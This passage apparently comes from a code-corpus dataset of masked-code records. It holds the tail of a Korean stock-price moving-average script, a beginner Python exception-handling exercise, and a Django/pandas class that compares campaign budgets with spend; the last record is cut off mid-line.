(len(close_value)+close_value.index[0])-1, 1):\n result = cv_diff_value(close_value[i], close_value[i+1])\n cv_amount.append(result)\n except IndexError:\n print(\"존재하지 않는 항목\")\n continue\n one_stock_copy[\"cv_diff_value\"] = cv_amount # DataFrame 에 데이터 추가\n # print(one_stock_copy)\n\n # 종가 일간 변화율 // 종가 일간 변화량과 마찬가지 // 소수점 2자리 표현\n for i in range(close_value.index[0], (len(close_value)+close_value.index[0])-1, 1):\n result2 = round(cv_diff_rate(close_value[i], close_value[i+1]), 2)\n cv_rate.append(result2)\n one_stock_copy[\"cv_diff_rate\"] = cv_rate # DataFrame 에 데이터 추가\n # print(one_stock_copy)\n\n # 종가 N일 이동평균\n res3 = cv_maN_value(close_value, Number)\n if isinstance(res3, str):\n print(res3)\n continue\n else:\n result3 = res3.fillna(0) # NaN값을 0으로 치환\n one_stock_copy[\"cv_maN_value\"] = result3\n # print(one_stock_copy)\n\n # 종가 N일 이동평균의 일간 변화율\n ma_value = one_stock_copy[\"cv_maN_value\"] # 종가 N일 이동평균 가져오기\n result4 = cv_maN_rate(ma_value, Number)\n if isinstance(result4, str):\n print(result4)\n continue\n else:\n one_stock_copy[\"cv_maN_rate\"] = result4\n # print(one_stock_copy)\n\n # N일 연속 상승, 하락, 그렇지 않은 날 파악\n result5 = ud_Nd(close_value, Number)\n one_stock_copy[\"ud_Nd\"] = result5\n\n # un_Nd = 1, -1이 20회 이상 발생하도록 N을 3 ~ 5로 조정, 종목을 변경\n un_Nd_value = one_stock_copy[\"ud_Nd\"] # N일 연속되는 증감 column 가져오기\n # DataFrame 을 list 로 변환\n for i in range(un_Nd_value.index[0], (len(un_Nd_value)+un_Nd_value.index[0]), 1):\n unNd_list.append(un_Nd_value[i])\n # 20회 이상 발생하는지 판단\n for i in range(len(unNd_list)):\n if unNd_list[i] == 1:\n un_Nd_plus += 1\n if unNd_list[i] == -1:\n un_Nd_minus += 1\n\n print(un_Nd_plus)\n print(un_Nd_minus)\n\n# 발생했다면 반복문을 종료하고 발생하지 않았다면 N을 조정하거나 종목을 변경한다\n if un_Nd_plus >= 20 and un_Nd_minus >= 20:\n break\n else:\n print(\"un_Nd의 1 or -1 발생횟수가 둘 다 20을 넘지 않았습니다\")\n continue\n\n# 반복문이 끝나고 20회이상 발생하는 조건을 만족하면 csv 파일(stock_history_added.csv)로 저장\none_stock_copy.to_csv('stock_history_added.csv', encoding='ms949', index=False)\nprint(\"Data가 성공적으로 추가됐습니다\")\ncsv_file_read.close()\n", "step-ids": [ 5, 6, 7, 8, 9 ] }
[ 5, 6, 7, 8, 9 ]
'''import math x = 5 print("sqrt of 5 is", math.sqrt(64)) str1 = "bollywood" str2 = 'ody' if str2 in str1: print("String found") else: print("String not found") print(10+20)''' #try: #block of code #except Exception l: #block of code #else: #this code executes if except block is executed try: fh = open("testfile.txt", "w") fh.write("This is my test file for exception handling! !") except IOError: print("Error: can\'t find file or read data") else: print("written content in the file successfully") fh = open("testfile.txt", "r+") print(fh.read()) fh.close() print(fh.closed) try: fileptr = open("file.txt", "w") try: fileptr.write("Hi I am good") finally: fileptr.close() print("file.closed") except: print("Error") else: print("inside else block") try: age = int(input("Enter the age?")) if age<18: raise ValueError else: print("the age is valid") except ValueError: print("The age is not valid")
normal
{ "blob_id": "c5b40b373953a2375eeca453a65c49bdbb8715f1", "index": 6586, "step-1": "<mask token>\n", "step-2": "<mask token>\ntry:\n fh = open('testfile.txt', 'w')\n fh.write('This is my test file for exception handling! !')\nexcept IOError:\n print(\"Error: can't find file or read data\")\nelse:\n print('written content in the file successfully')\n fh = open('testfile.txt', 'r+')\n print(fh.read())\n fh.close()\n print(fh.closed)\ntry:\n fileptr = open('file.txt', 'w')\n try:\n fileptr.write('Hi I am good')\n finally:\n fileptr.close()\n print('file.closed')\nexcept:\n print('Error')\nelse:\n print('inside else block')\ntry:\n age = int(input('Enter the age?'))\n if age < 18:\n raise ValueError\n else:\n print('the age is valid')\nexcept ValueError:\n print('The age is not valid')\n", "step-3": "'''import math\nx = 5\nprint(\"sqrt of 5 is\", math.sqrt(64))\n\nstr1 = \"bollywood\"\n\nstr2 = 'ody'\n\nif str2 in str1:\n print(\"String found\")\nelse:\n print(\"String not found\")\n\n print(10+20)'''\n\n#try:\n #block of code\n#except Exception l:\n #block of code\n#else:\n #this code executes if except block is executed\n\ntry:\n fh = open(\"testfile.txt\", \"w\")\n fh.write(\"This is my test file for exception handling! !\")\n\nexcept IOError:\n print(\"Error: can\\'t find file or read data\")\nelse:\n\n print(\"written content in the file successfully\")\n\n fh = open(\"testfile.txt\", \"r+\")\n print(fh.read())\n fh.close()\n print(fh.closed)\n\ntry:\n fileptr = open(\"file.txt\", \"w\")\n try:\n fileptr.write(\"Hi I am good\")\n\n\n finally:\n fileptr.close()\n print(\"file.closed\")\nexcept:\n print(\"Error\")\nelse:\n print(\"inside else block\")\n\n\ntry:\n age = int(input(\"Enter the age?\"))\n if age<18:\n raise ValueError\n else:\n print(\"the age is valid\")\nexcept ValueError:\n print(\"The age is not valid\")\n\n\n\n\n\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
from clients.models import Budget from clients.models import Spend from datetime import date as datetimedate from datetime import datetime from datetime import timedelta from django.db import models from rest_framework.exceptions import ParseError import math import pandas as pd class CampaignPerformance: """ Get aggregated info about one campaign """ def __init__(self, campaign, start): # Initial arguments self.campaign = campaign self.start = start self.BUDGETS_NAME = 'Budgets' self.required_ran = False def get(self, filt=None): """ Return data filt: only return certain data (list) """ # Required functions self.check_required() # Filter output results = {} if filt is None: filt = [ 'daily_data', 'daily_diff', 'cum_diff', 'totals', 'info' ] # Optional functions # Prerequisits to multiple funcions if 'daily_diff' in filt or 'cum_diff' in filt: daily_diff = self.get_daily_diff() if 'daily_data' in filt or 'daily_diff' in filt: results['daily_index'] = self.daily_df.index # Single functions if 'daily_data' in filt: results['daily_data'] = self.daily_df.to_dict('list') if 'daily_diff' in filt: results['daily_diff'] = daily_diff if 'totals' in filt: results['totals'] = self.get_totals() if 'info' in filt: results['info'] = self.get_info() if 'cum_diff' in filt: results['cum_diff'] = self.get_cum_diff(daily_diff) # results['recommend'] = {'spend_per_day', 'spend_diff(spend per day vs avg_past_spend_per_day)'} print(results) return results def _get_start_date(self): """ self.start = week, month, quarter, year, all, or %Y-%m-%d date """ today = datetimedate.today() if self.start == 'week': start_date = today - timedelta(days=today.weekday()) elif self.start == 'month': start_date = today.replace(day=1) elif self.start == 'quarter': quarter = math.ceil(today.month / 3) start_date = datetimedate( today.year, ((quarter - 1) * 3) + 1, 1 ) elif self.start == 'year': start_date = datetimedate(today.year, 1, 1) elif self.start == 'all': start_date = datetimedate(2010, 1, 1) else: try: start_date = datetime.strptime(self.start, "%Y-%m-%d").date() except Exception as e: raise ParseError("start argument not valid") self.start_date = start_date def _get_querysets(self): # GET SPEND # Only for same client as campaign spend = Spend.objects.filter(platform__client=self.campaign.client) # Only for same platforms as campaign spend = spend.filter( platform__pk__in=( self.campaign.platforms.values_list('pk', flat=True) ) ) # Only where spend end_date >= start_date spend = spend.filter(end_date__gte=self.start_date) # Apply regex filter to spend if provided by campaign if self.campaign.name_filter: spend = spend.filter(name__iregex=self.campaign.name_filter) # GET BUDGETS budgets = self.campaign.budget_set # Only where budget end_date >= start_date budgets = budgets.filter(end_date__gte=self.start_date) # SAVE self.spend = spend self.budgets = budgets def _convert_to_daily_df(self): daily = {} for each in self.budgets: # Calculate amount per day days = (each.end_date - each.start_date).days + 1 daily_amount = each.amount / days for i in range(days): day = each.start_date + timedelta(days=i) if day < self.start_date: continue daily.setdefault(self.BUDGETS_NAME, {})[day] = daily_amount for each in self.spend: name = each.platform.name if name == self.BUDGETS_NAME: name = f'{self.BUDGETS_NAME} (spend)' days = (each.end_date - each.start_date).days + 1 daily_amount = each.amount / days for i in range(days): day = each.start_date + timedelta(days=i) if day < self.start_date: continue dayspend = daily.setdefault(name, {}).setdefault(day, 0) daily[name][day] = dayspend + daily_amount df = pd.DataFrame(daily) # Change datetime dates to string and fillNA for later json df.index = [x.strftime('%Y-%m-%d') for x in df.index.tolist()] df.fillna(0, inplace=True) self.daily_df = df def _convert_spend_currency(self): if self.spend.count() > 0: spend_cur = list(set( self.spend.values_list('currency', flat=True) )) if spend_cur != [self.campaign.currency]: raise NotImplementedError( "Currency converting not implemented, make sure budgets " "and spends are in the same currency" ) # Convert spend to list so that we can alter change currency self.spend = list(self.spend) else: self.spend = [] def _get_budget_spend_series(self): try: self.budget_series = self.daily_df[self.BUDGETS_NAME] except KeyError: self.budget_series = pd.Series() self.spend_series = ( self.daily_df .drop(self.BUDGETS_NAME, axis=1, errors='ignore') .sum(axis=1) ) def check_required(self): """ Functions needed for any of the public methods to work """ if not self.required_ran: self._get_start_date() self._get_querysets() self._convert_spend_currency() self._convert_to_daily_df() self._get_budget_spend_series() self.required_ran = True def get_daily_diff(self): self.check_required() res = self.budget_series - self.spend_series res.fillna(0, inplace=True) return res def get_cum_diff(self, daily_diff): self.check_required() return daily_diff.cumsum() def get_totals(self): self.check_required() spend_sum = self.spend_series.sum() budget_sum = self.budget_series.sum() spend_days = self.spend_series.count() budget_days = self.budget_series.count() diff = budget_sum - spend_sum totals = { 'spend': spend_sum, 'budget': budget_sum, 'avg_spend_per_day': ( spend_sum / spend_days ), 'avg_budget_per_day': ( budget_sum / budget_days ), 'diff': diff, 'avg_diff_per_day': diff / spend_days } for each in totals: if pd.isnull(totals[each]): totals[each] = 0 return totals def get_info(self): info = { 'last_spend': self.spend_series.dropna().index[-1] } return info
normal
{ "blob_id": "a860e6670719a733e75c7580cf2e07765b0777eb", "index": 2806, "step-1": "<mask token>\n\n\nclass CampaignPerformance:\n <mask token>\n\n def __init__(self, campaign, start):\n self.campaign = campaign\n self.start = start\n self.BUDGETS_NAME = 'Budgets'\n self.required_ran = False\n <mask token>\n\n def _get_start_date(self):\n \"\"\" self.start = week, month, quarter, year, all, or %Y-%m-%d date\n \"\"\"\n today = datetimedate.today()\n if self.start == 'week':\n start_date = today - timedelta(days=today.weekday())\n elif self.start == 'month':\n start_date = today.replace(day=1)\n elif self.start == 'quarter':\n quarter = math.ceil(today.month / 3)\n start_date = datetimedate(today.year, (quarter - 1) * 3 + 1, 1)\n elif self.start == 'year':\n start_date = datetimedate(today.year, 1, 1)\n elif self.start == 'all':\n start_date = datetimedate(2010, 1, 1)\n else:\n try:\n start_date = datetime.strptime(self.start, '%Y-%m-%d').date()\n except Exception as e:\n raise ParseError('start argument not valid')\n self.start_date = start_date\n\n def _get_querysets(self):\n spend = Spend.objects.filter(platform__client=self.campaign.client)\n spend = spend.filter(platform__pk__in=self.campaign.platforms.\n values_list('pk', flat=True))\n spend = spend.filter(end_date__gte=self.start_date)\n if self.campaign.name_filter:\n spend = spend.filter(name__iregex=self.campaign.name_filter)\n budgets = self.campaign.budget_set\n budgets = budgets.filter(end_date__gte=self.start_date)\n self.spend = spend\n self.budgets = budgets\n\n def _convert_to_daily_df(self):\n daily = {}\n for each in self.budgets:\n days = (each.end_date - each.start_date).days + 1\n daily_amount = each.amount / days\n for i in range(days):\n day = each.start_date + timedelta(days=i)\n if day < self.start_date:\n continue\n daily.setdefault(self.BUDGETS_NAME, {})[day] = daily_amount\n for each in self.spend:\n name = each.platform.name\n if name == self.BUDGETS_NAME:\n name = f'{self.BUDGETS_NAME} (spend)'\n days = (each.end_date - each.start_date).days + 1\n daily_amount = each.amount / days\n for i in range(days):\n day = each.start_date + timedelta(days=i)\n if day < self.start_date:\n continue\n dayspend = daily.setdefault(name, {}).setdefault(day, 0)\n daily[name][day] = dayspend + daily_amount\n df = pd.DataFrame(daily)\n df.index = [x.strftime('%Y-%m-%d') for x in df.index.tolist()]\n df.fillna(0, inplace=True)\n self.daily_df = df\n <mask token>\n\n def _get_budget_spend_series(self):\n try:\n self.budget_series = self.daily_df[self.BUDGETS_NAME]\n except KeyError:\n self.budget_series = pd.Series()\n self.spend_series = self.daily_df.drop(self.BUDGETS_NAME, axis=1,\n errors='ignore').sum(axis=1)\n <mask token>\n\n def get_daily_diff(self):\n self.check_required()\n res = self.budget_series - self.spend_series\n res.fillna(0, inplace=True)\n return res\n <mask token>\n\n def get_totals(self):\n self.check_required()\n spend_sum = self.spend_series.sum()\n budget_sum = self.budget_series.sum()\n spend_days = self.spend_series.count()\n budget_days = self.budget_series.count()\n diff = budget_sum - spend_sum\n totals = {'spend': spend_sum, 'budget': budget_sum,\n 'avg_spend_per_day': spend_sum / spend_days,\n 'avg_budget_per_day': budget_sum / budget_days, 'diff': diff,\n 'avg_diff_per_day': diff / spend_days}\n for each in totals:\n if pd.isnull(totals[each]):\n totals[each] = 0\n return totals\n\n def get_info(self):\n info = {'last_spend': self.spend_series.dropna().index[-1]}\n return info\n", "step-2": "<mask token>\n\n\nclass CampaignPerformance:\n <mask token>\n\n def __init__(self, campaign, start):\n self.campaign = campaign\n self.start = start\n self.BUDGETS_NAME = 'Budgets'\n self.required_ran = False\n\n def get(self, filt=None):\n \"\"\" Return data\n filt: only return certain data (list)\n \"\"\"\n self.check_required()\n results = {}\n if filt is None:\n filt = ['daily_data', 'daily_diff', 'cum_diff', 'totals', 'info']\n if 'daily_diff' in filt or 'cum_diff' in filt:\n daily_diff = self.get_daily_diff()\n if 'daily_data' in filt or 'daily_diff' in filt:\n results['daily_index'] = self.daily_df.index\n if 'daily_data' in filt:\n results['daily_data'] = self.daily_df.to_dict('list')\n if 'daily_diff' in filt:\n results['daily_diff'] = daily_diff\n if 'totals' in filt:\n results['totals'] = self.get_totals()\n if 'info' in filt:\n results['info'] = self.get_info()\n if 'cum_diff' in filt:\n results['cum_diff'] = self.get_cum_diff(daily_diff)\n print(results)\n return results\n\n def _get_start_date(self):\n \"\"\" self.start = week, month, quarter, year, all, or %Y-%m-%d date\n \"\"\"\n today = datetimedate.today()\n if self.start == 'week':\n start_date = today - timedelta(days=today.weekday())\n elif self.start == 'month':\n start_date = today.replace(day=1)\n elif self.start == 'quarter':\n quarter = math.ceil(today.month / 3)\n start_date = datetimedate(today.year, (quarter - 1) * 3 + 1, 1)\n elif self.start == 'year':\n start_date = datetimedate(today.year, 1, 1)\n elif self.start == 'all':\n start_date = datetimedate(2010, 1, 1)\n else:\n try:\n start_date = datetime.strptime(self.start, '%Y-%m-%d').date()\n except Exception as e:\n raise ParseError('start argument not valid')\n self.start_date = start_date\n\n def _get_querysets(self):\n spend = Spend.objects.filter(platform__client=self.campaign.client)\n spend = spend.filter(platform__pk__in=self.campaign.platforms.\n values_list('pk', flat=True))\n spend = spend.filter(end_date__gte=self.start_date)\n if self.campaign.name_filter:\n spend = spend.filter(name__iregex=self.campaign.name_filter)\n budgets = self.campaign.budget_set\n budgets = budgets.filter(end_date__gte=self.start_date)\n self.spend = spend\n self.budgets = budgets\n\n def _convert_to_daily_df(self):\n daily = {}\n for each in self.budgets:\n days = (each.end_date - each.start_date).days + 1\n daily_amount = each.amount / days\n for i in range(days):\n day = each.start_date + timedelta(days=i)\n if day < self.start_date:\n continue\n daily.setdefault(self.BUDGETS_NAME, {})[day] = daily_amount\n for each in self.spend:\n name = each.platform.name\n if name == self.BUDGETS_NAME:\n name = f'{self.BUDGETS_NAME} (spend)'\n days = (each.end_date - each.start_date).days + 1\n daily_amount = each.amount / days\n for i in range(days):\n day = each.start_date + timedelta(days=i)\n if day < self.start_date:\n continue\n dayspend = daily.setdefault(name, {}).setdefault(day, 0)\n daily[name][day] = dayspend + daily_amount\n df = pd.DataFrame(daily)\n df.index = [x.strftime('%Y-%m-%d') for x in df.index.tolist()]\n df.fillna(0, inplace=True)\n self.daily_df = df\n\n def _convert_spend_currency(self):\n if self.spend.count() > 0:\n spend_cur = list(set(self.spend.values_list('currency', flat=True))\n )\n if spend_cur != [self.campaign.currency]:\n raise NotImplementedError(\n 'Currency converting not implemented, make sure budgets and spends are in the same currency'\n )\n self.spend = list(self.spend)\n else:\n self.spend = []\n\n def _get_budget_spend_series(self):\n try:\n self.budget_series = self.daily_df[self.BUDGETS_NAME]\n except KeyError:\n self.budget_series = pd.Series()\n self.spend_series = self.daily_df.drop(self.BUDGETS_NAME, axis=1,\n errors='ignore').sum(axis=1)\n\n def check_required(self):\n \"\"\" Functions needed for any of the public methods to work \"\"\"\n if not self.required_ran:\n self._get_start_date()\n self._get_querysets()\n self._convert_spend_currency()\n self._convert_to_daily_df()\n self._get_budget_spend_series()\n self.required_ran = True\n\n def get_daily_diff(self):\n self.check_required()\n res = self.budget_series - self.spend_series\n res.fillna(0, inplace=True)\n return res\n <mask token>\n\n def get_totals(self):\n self.check_required()\n spend_sum = self.spend_series.sum()\n budget_sum = self.budget_series.sum()\n spend_days = self.spend_series.count()\n budget_days = self.budget_series.count()\n diff = budget_sum - spend_sum\n totals = {'spend': spend_sum, 'budget': budget_sum,\n 'avg_spend_per_day': spend_sum / spend_days,\n 'avg_budget_per_day': budget_sum / budget_days, 'diff': diff,\n 'avg_diff_per_day': diff / spend_days}\n for each in totals:\n if pd.isnull(totals[each]):\n totals[each] = 0\n return totals\n\n def get_info(self):\n info = {'last_spend': self.spend_series.dropna().index[-1]}\n return info\n", "step-3": "<mask token>\n\n\nclass CampaignPerformance:\n <mask token>\n\n def __init__(self, campaign, start):\n self.campaign = campaign\n self.start = start\n self.BUDGETS_NAME = 'Budgets'\n self.required_ran = False\n\n def get(self, filt=None):\n \"\"\" Return data\n filt: only return certain data (list)\n \"\"\"\n self.check_required()\n results = {}\n if filt is None:\n filt = ['daily_data', 'daily_diff', 'cum_diff', 'totals', 'info']\n if 'daily_diff' in filt or 'cum_diff' in filt:\n daily_diff = self.get_daily_diff()\n if 'daily_data' in filt or 'daily_diff' in filt:\n results['daily_index'] = self.daily_df.index\n if 'daily_data' in filt:\n results['daily_data'] = self.daily_df.to_dict('list')\n if 'daily_diff' in filt:\n results['daily_diff'] = daily_diff\n if 'totals' in filt:\n results['totals'] = self.get_totals()\n if 'info' in filt:\n results['info'] = self.get_info()\n if 'cum_diff' in filt:\n results['cum_diff'] = self.get_cum_diff(daily_diff)\n print(results)\n return results\n\n def _get_start_date(self):\n \"\"\" self.start = week, month, quarter, year, all, or %Y-%m-%d date\n \"\"\"\n today = datetimedate.today()\n if self.start == 'week':\n start_date = today - timedelta(days=today.weekday())\n elif self.start == 'month':\n start_date = today.replace(day=1)\n elif self.start == 'quarter':\n quarter = math.ceil(today.month / 3)\n start_date = datetimedate(today.year, (quarter - 1) * 3 + 1, 1)\n elif self.start == 'year':\n start_date = datetimedate(today.year, 1, 1)\n elif self.start == 'all':\n start_date = datetimedate(2010, 1, 1)\n else:\n try:\n start_date = datetime.strptime(self.start, '%Y-%m-%d').date()\n except Exception as e:\n raise ParseError('start argument not valid')\n self.start_date = start_date\n\n def _get_querysets(self):\n spend = Spend.objects.filter(platform__client=self.campaign.client)\n spend = spend.filter(platform__pk__in=self.campaign.platforms.\n values_list('pk', flat=True))\n spend = spend.filter(end_date__gte=self.start_date)\n if self.campaign.name_filter:\n spend = spend.filter(name__iregex=self.campaign.name_filter)\n budgets = self.campaign.budget_set\n budgets = budgets.filter(end_date__gte=self.start_date)\n self.spend = spend\n self.budgets = budgets\n\n def _convert_to_daily_df(self):\n daily = {}\n for each in self.budgets:\n days = (each.end_date - each.start_date).days + 1\n daily_amount = each.amount / days\n for i in range(days):\n day = each.start_date + timedelta(days=i)\n if day < self.start_date:\n continue\n daily.setdefault(self.BUDGETS_NAME, {})[day] = daily_amount\n for each in self.spend:\n name = each.platform.name\n if name == self.BUDGETS_NAME:\n name = f'{self.BUDGETS_NAME} (spend)'\n days = (each.end_date - each.start_date).days + 1\n daily_amount = each.amount / days\n for i in range(days):\n day = each.start_date + timedelta(days=i)\n if day < self.start_date:\n continue\n dayspend = daily.setdefault(name, {}).setdefault(day, 0)\n daily[name][day] = dayspend + daily_amount\n df = pd.DataFrame(daily)\n df.index = [x.strftime('%Y-%m-%d') for x in df.index.tolist()]\n df.fillna(0, inplace=True)\n self.daily_df = df\n\n def _convert_spend_currency(self):\n if self.spend.count() > 0:\n spend_cur = list(set(self.spend.values_list('currency', flat=True))\n )\n if spend_cur != [self.campaign.currency]:\n raise NotImplementedError(\n 'Currency converting not implemented, make sure budgets and spends are in the same currency'\n )\n self.spend = list(self.spend)\n else:\n self.spend = []\n\n def _get_budget_spend_series(self):\n try:\n self.budget_series = self.daily_df[self.BUDGETS_NAME]\n except KeyError:\n self.budget_series = pd.Series()\n self.spend_series = self.daily_df.drop(self.BUDGETS_NAME, axis=1,\n errors='ignore').sum(axis=1)\n\n def check_required(self):\n \"\"\" Functions needed for any of the public methods to work \"\"\"\n if not self.required_ran:\n self._get_start_date()\n self._get_querysets()\n self._convert_spend_currency()\n self._convert_to_daily_df()\n self._get_budget_spend_series()\n self.required_ran = True\n\n def get_daily_diff(self):\n self.check_required()\n res = self.budget_series - self.spend_series\n res.fillna(0, inplace=True)\n return res\n\n def get_cum_diff(self, daily_diff):\n self.check_required()\n return daily_diff.cumsum()\n\n def get_totals(self):\n self.check_required()\n spend_sum = self.spend_series.sum()\n budget_sum = self.budget_series.sum()\n spend_days = self.spend_series.count()\n budget_days = self.budget_series.count()\n diff = budget_sum - spend_sum\n totals = {'spend': spend_sum, 'budget': budget_sum,\n 'avg_spend_per_day': spend_sum / spend_days,\n 'avg_budget_per_day': budget_sum / budget_days, 'diff': diff,\n 'avg_diff_per_day': diff / spend_days}\n for each in totals:\n if pd.isnull(totals[each]):\n totals[each] = 0\n return totals\n\n def get_info(self):\n info = {'last_spend': self.spend_series.dropna().index[-1]}\n return info\n", "step-4": "from clients.models import Budget\nfrom clients.models import Spend\nfrom datetime import date as datetimedate\nfrom datetime import datetime\nfrom datetime import timedelta\nfrom django.db import models\nfrom rest_framework.exceptions import ParseError\nimport math\nimport pandas as pd\n\n\nclass CampaignPerformance:\n \"\"\" Get aggregated info about one campaign \"\"\"\n\n def __init__(self, campaign, start):\n self.campaign = campaign\n self.start = start\n self.BUDGETS_NAME = 'Budgets'\n self.required_ran = False\n\n def get(self, filt=None):\n \"\"\" Return data\n filt: only return certain data (list)\n \"\"\"\n self.check_required()\n results = {}\n if filt is None:\n filt = ['daily_data', 'daily_diff', 'cum_diff', 'totals', 'info']\n if 'daily_diff' in filt or 'cum_diff' in filt:\n daily_diff = self.get_daily_diff()\n if 'daily_data' in filt or 'daily_diff' in filt:\n results['daily_index'] = self.daily_df.index\n if 'daily_data' in filt:\n results['daily_data'] = self.daily_df.to_dict('list')\n if 'daily_diff' in filt:\n results['daily_diff'] = daily_diff\n if 'totals' in filt:\n results['totals'] = self.get_totals()\n if 'info' in filt:\n results['info'] = self.get_info()\n if 'cum_diff' in filt:\n results['cum_diff'] = self.get_cum_diff(daily_diff)\n print(results)\n return results\n\n def _get_start_date(self):\n \"\"\" self.start = week, month, quarter, year, all, or %Y-%m-%d date\n \"\"\"\n today = datetimedate.today()\n if self.start == 'week':\n start_date = today - timedelta(days=today.weekday())\n elif self.start == 'month':\n start_date = today.replace(day=1)\n elif self.start == 'quarter':\n quarter = math.ceil(today.month / 3)\n start_date = datetimedate(today.year, (quarter - 1) * 3 + 1, 1)\n elif self.start == 'year':\n start_date = datetimedate(today.year, 1, 1)\n elif self.start == 'all':\n start_date = datetimedate(2010, 1, 1)\n else:\n try:\n start_date = datetime.strptime(self.start, '%Y-%m-%d').date()\n except Exception as e:\n raise ParseError('start argument not valid')\n self.start_date = start_date\n\n def _get_querysets(self):\n spend = Spend.objects.filter(platform__client=self.campaign.client)\n spend = spend.filter(platform__pk__in=self.campaign.platforms.\n values_list('pk', flat=True))\n spend = spend.filter(end_date__gte=self.start_date)\n if self.campaign.name_filter:\n spend = spend.filter(name__iregex=self.campaign.name_filter)\n budgets = self.campaign.budget_set\n budgets = budgets.filter(end_date__gte=self.start_date)\n self.spend = spend\n self.budgets = budgets\n\n def _convert_to_daily_df(self):\n daily = {}\n for each in self.budgets:\n days = (each.end_date - each.start_date).days + 1\n daily_amount = each.amount / days\n for i in range(days):\n day = each.start_date + timedelta(days=i)\n if day < self.start_date:\n continue\n daily.setdefault(self.BUDGETS_NAME, {})[day] = daily_amount\n for each in self.spend:\n name = each.platform.name\n if name == self.BUDGETS_NAME:\n name = f'{self.BUDGETS_NAME} (spend)'\n days = (each.end_date - each.start_date).days + 1\n daily_amount = each.amount / days\n for i in range(days):\n day = each.start_date + timedelta(days=i)\n if day < self.start_date:\n continue\n dayspend = daily.setdefault(name, {}).setdefault(day, 0)\n daily[name][day] = dayspend + daily_amount\n df = pd.DataFrame(daily)\n df.index = [x.strftime('%Y-%m-%d') for x in df.index.tolist()]\n df.fillna(0, inplace=True)\n self.daily_df = df\n\n def _convert_spend_currency(self):\n if self.spend.count() > 0:\n spend_cur = list(set(self.spend.values_list('currency', flat=True))\n )\n if spend_cur != [self.campaign.currency]:\n raise NotImplementedError(\n 'Currency converting not implemented, make sure budgets and spends are in the same currency'\n )\n self.spend = list(self.spend)\n else:\n self.spend = []\n\n def _get_budget_spend_series(self):\n try:\n self.budget_series = self.daily_df[self.BUDGETS_NAME]\n except KeyError:\n self.budget_series = pd.Series()\n self.spend_series = self.daily_df.drop(self.BUDGETS_NAME, axis=1,\n errors='ignore').sum(axis=1)\n\n def check_required(self):\n \"\"\" Functions needed for any of the public methods to work \"\"\"\n if not self.required_ran:\n self._get_start_date()\n self._get_querysets()\n self._convert_spend_currency()\n self._convert_to_daily_df()\n self._get_budget_spend_series()\n self.required_ran = True\n\n def get_daily_diff(self):\n self.check_required()\n res = self.budget_series - self.spend_series\n res.fillna(0, inplace=True)\n return res\n\n def get_cum_diff(self, daily_diff):\n self.check_required()\n return daily_diff.cumsum()\n\n def get_totals(self):\n self.check_required()\n spend_sum = self.spend_series.sum()\n budget_sum = self.budget_series.sum()\n spend_days = self.spend_series.count()\n budget_days = self.budget_series.count()\n diff = budget_sum - spend_sum\n totals = {'spend': spend_sum, 'budget': budget_sum,\n 'avg_spend_per_day': spend_sum / spend_days,\n 'avg_budget_per_day': budget_sum / budget_days, 'diff': diff,\n 'avg_diff_per_day': diff / spend_days}\n for each in totals:\n if pd.isnull(totals[each]):\n totals[each] = 0\n return totals\n\n def get_info(self):\n info = {'last_spend': self.spend_series.dropna().index[-1]}\n return info\n", "step-5": "from clients.models import Budget\nfrom clients.models import Spend\nfrom datetime import date as datetimedate\nfrom datetime import datetime\nfrom datetime import timedelta\nfrom django.db import models\nfrom rest_framework.exceptions import ParseError\nimport math\nimport pandas as pd\n\n\nclass CampaignPerformance:\n \"\"\" Get aggregated info about one campaign \"\"\"\n def __init__(self, campaign, start):\n # Initial arguments\n self.campaign = campaign\n self.start = start\n\n self.BUDGETS_NAME = 'Budgets'\n\n self.required_ran = False\n\n def get(self, filt=None):\n \"\"\" Return data\n filt: only return certain data (list)\n \"\"\"\n # Required functions\n self.check_required()\n\n # Filter output\n results = {}\n if filt is None:\n filt = [\n 'daily_data', 'daily_diff', 'cum_diff',\n 'totals', 'info'\n ]\n\n # Optional functions\n # Prerequisits to multiple funcions\n if 'daily_diff' in filt or 'cum_diff' in filt:\n daily_diff = self.get_daily_diff()\n if 'daily_data' in filt or 'daily_diff' in filt:\n results['daily_index'] = self.daily_df.index\n\n # Single functions\n if 'daily_data' in filt:\n results['daily_data'] = self.daily_df.to_dict('list')\n if 'daily_diff' in filt:\n results['daily_diff'] = daily_diff\n if 'totals' in filt:\n results['totals'] = self.get_totals()\n if 'info' in filt:\n results['info'] = self.get_info()\n if 'cum_diff' in filt:\n results['cum_diff'] = self.get_cum_diff(daily_diff)\n # results['recommend'] = {'spend_per_day', 'spend_diff(spend per day vs avg_past_spend_per_day)'}\n\n print(results)\n return results\n\n def _get_start_date(self):\n \"\"\" self.start = week, month, quarter, year, all, or %Y-%m-%d date\n \"\"\"\n today = datetimedate.today()\n if self.start == 'week':\n start_date = today - timedelta(days=today.weekday())\n elif self.start == 'month':\n start_date = today.replace(day=1)\n elif self.start == 'quarter':\n quarter = math.ceil(today.month / 3)\n start_date = datetimedate(\n today.year,\n ((quarter - 1) * 3) + 1,\n 1\n )\n elif self.start == 'year':\n start_date = datetimedate(today.year, 1, 1)\n elif self.start == 'all':\n start_date = datetimedate(2010, 1, 1)\n else:\n try:\n start_date = datetime.strptime(self.start, \"%Y-%m-%d\").date()\n except Exception as e:\n raise ParseError(\"start argument not valid\")\n\n self.start_date = start_date\n\n def _get_querysets(self):\n # GET SPEND\n # Only for same client as campaign\n spend = Spend.objects.filter(platform__client=self.campaign.client)\n # Only for same platforms as campaign\n spend = spend.filter(\n platform__pk__in=(\n self.campaign.platforms.values_list('pk', flat=True)\n )\n )\n # Only where spend end_date >= start_date\n spend = spend.filter(end_date__gte=self.start_date)\n # Apply regex filter to spend if provided by campaign\n if self.campaign.name_filter:\n spend = spend.filter(name__iregex=self.campaign.name_filter)\n\n # GET BUDGETS\n budgets = self.campaign.budget_set\n # Only where budget end_date >= start_date\n budgets = budgets.filter(end_date__gte=self.start_date)\n\n # SAVE\n self.spend = spend\n self.budgets = budgets\n\n def _convert_to_daily_df(self):\n daily = {}\n for each in self.budgets:\n # Calculate amount per day\n days = (each.end_date - each.start_date).days + 1\n daily_amount = each.amount / days\n for i in range(days):\n day = each.start_date + timedelta(days=i)\n if day < self.start_date:\n continue\n daily.setdefault(self.BUDGETS_NAME, {})[day] = daily_amount\n\n for each in self.spend:\n name = each.platform.name\n if name == self.BUDGETS_NAME:\n name = f'{self.BUDGETS_NAME} (spend)'\n days = (each.end_date - each.start_date).days + 1\n daily_amount = each.amount / days\n for i in range(days):\n day = each.start_date + timedelta(days=i)\n if day < self.start_date:\n continue\n dayspend = 